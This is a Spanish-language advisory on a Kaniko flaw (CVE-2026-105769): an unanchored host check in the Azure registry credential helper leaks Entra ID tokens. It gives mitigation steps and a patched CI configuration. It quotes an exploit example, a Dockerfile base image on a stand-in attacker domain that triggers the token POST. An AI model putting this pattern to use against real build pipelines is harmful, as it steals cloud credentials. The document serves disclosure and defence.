¿Qué es CVE-2026-105769 y por qué expone tokens de Azure?
Kaniko en versiones anteriores a la 1.25.20 envía tokens de acceso de Microsoft Entra ID (Azure AD) para Azure Resource Manager a registros controlados por atacantes. La vulnerabilidad se encuentra en el asistente de credenciales para Azure Container Registry (docker-credential-acr-env), el cual comprueba si un host pertenece a ACR empleando una expresión regular sin anclar.
Al no delimitar el inicio y el fin del nombre de dominio, cualquier host que contenga cadenas como.azurecr.io,.azurecr.cn,.azurecr.de o.azurecr.us es aceptado como un registro legítimo de Azure. Este comportamiento, asociado a las debilidades CWE-346 y CWE-522, genera un vector de ataque en pipelines desatendidos con una gravedad similar a la analizada en el RCE en OpenHands SDK.
¿A quién afecta esta vulnerabilidad en pipelines de CI/CD?
El problema compromete a organizaciones que compilan imágenes usando Kaniko dentro de infraestructuras basadas en Azure con identidades administradas, identidades de cargas de trabajo federadas o credenciales de entidades de servicio en variables de entorno. Al igual que los riesgos de autorización en clústeres discutidos sobre Burrito TACoS para Kubernetes, una identidad confiada en el pipeline puede abrir accesos imprevistos.
Para detonar la fuga no hace falta que el contenedor ejecute comandos ni complete un push hacia el registro. Basta con que un Dockerfile declare una imagen base como FROM x.azurecr.io.attacker.com/img o use COPY --from=<image> para que el helper solicite el token de Entra ID y lo envíe vía POST a https://<host>/oauth2/exchange antes de iniciar la descarga.
¿Cómo me protejo frente a esta fuga de credenciales?
La protección inmediata exige actualizar los ejecutores de Kaniko a la versión 1.25.20 o superior, donde la validación del host fue corregida para exigir dominios auténticos de ACR. Gestionar rigurosamente las dependencias de compilación resulta tan crítico como subsanar la falla en la librería zip de Rust en ecosistemas de software.
- Auditar los archivos de configuración de CI/CD para detectar el uso de imágenes de Kaniko previas a 1.25.20.
- Actualizar la imagen del ejecutor de Kaniko a la versión 1.25.20 o superior en todos los entornos.
- Revisar el historial de compilaciones en busca de imágenes base o referencias externas con dominios sospechosos.
- Rotar las credenciales de Service Principals y auditar las asignaciones de roles de las Managed Identities vinculadas al pipeline.
- Configurar reglas de cortafuegos o políticas de red que restrinjan las conexiones salientes hacia registros no autorizados.
- name: Build image with Kaniko
image: gcr.io/kaniko-project/executor:v1.25.20
args: ["--dockerfile=Dockerfile", "--destination=myregistry.azurecr.io/app:latest"]